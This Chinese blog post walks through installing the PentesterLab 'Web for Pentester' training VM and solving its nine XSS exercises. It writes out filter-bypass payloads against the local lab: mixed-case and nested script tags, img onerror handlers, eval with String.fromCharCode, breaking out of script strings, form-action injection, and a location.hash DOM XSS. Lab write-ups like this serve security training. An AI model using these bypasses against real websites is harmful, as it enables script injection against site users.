首页 > 代码库 > 【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析

【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析

web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

下载链接及文档说明:

http://pentesterlab.com/exercises/web_for_pentester/

 

【安装流程】

1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

一路向下,创建虚拟系统。

点击启动,选择iso镜像,即可启动。

2. 设置网络。 关掉刚刚开启的系统。

点击设置,选择网络选项。如图所示设置网络

3.启动系统。输入ifconfig

可以看到我们虚拟机的IP地址为http://192.168.56.101/  不同的系统可能不一样

如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。

所以在主机上打开网络和共享中心,设置IP

根据我的虚拟机IP,我给本机设置的IP如下:

4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/  ,即可通过HTTP访问虚拟机了!!

【XSS部分解析】

xss example1:

完全没有过滤或者编码,各种姿势的玩~

name=<script>alert(‘bb‘)</script>

xss example2:

 

从这里可以看到,过滤掉了<script>标签,我们试试大小写?

name=<Script>alert(‘bb‘)</sCript>

嗯,大小写绕过了

xss example3:

和上一张图一样,<script>标签被过滤掉了

先试试 name=la<script>la,输出hello,lala

name=<scri<script>pt>alert(‘bb‘)</scri</script>pt>

经测试这个在实例2也是可以用的

xss example4:

先输入最基本的测试name=<script>alert(‘bb‘)</script>

竟然输出error了!

换个标签? name=<img>?这次没error。补全补全~

name=<img src="http://www.mamicode.com/1" one rror="alert(‘bb‘)">

成功了~~经测试这个payload在前三个应该也是可以的

xss example5:

先输入name=<img>正常显示

补全name=<img src="http://www.mamicode.com/1" one rror="alert(‘bb‘)"> 输出error

发现alert被过滤掉了- -但是其他的函数还可以用,

比如说name=<img src="http://www.mamicode.com/1" one rror="confirm(‘aa‘)">

查了一下文档,发现可以这样写

name=<img src="http://www.mamicode.com/1" one rror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

这个世界真神奇

xss example6:

查看元素,发现输出竟然在script标签中。

$a="<img  src="http://www.mamicode.com/1" one rror="alert(‘bb‘)">"

输出在script标签中的情况要首先闭合双引号"

name=fdf";alert($a);//

xss example7:

审查元素:

<script>
var $a= ‘fdf&quot;;alert($a);//‘;
</script>

发现双引号被HTMLEncode了

- -还发现$a=‘‘这个地方变成了单引号。。。稍微改一下

name=fdf‘;alert($a);//

成了

xss example8:

呦,终于长进了,变成存储型的了~

随便输出个名字<script>alert(‘a‘)</script>

审查元素

HELLO &lt;script&gt;alert(‘a‘)&lt;/script&gt;

<>被HTMLEncode了。

对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?

经过答案的提醒- -我们发现form表的目标URL是可以被构造的

http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert(‘1‘)

在提交的时候,会触发弹窗

xss example9:

- -最后一个你是在逗我么

审查元素

<script>
document.write(location.hash.substring(1));
</script>

随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert(‘1‘)</script>

注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析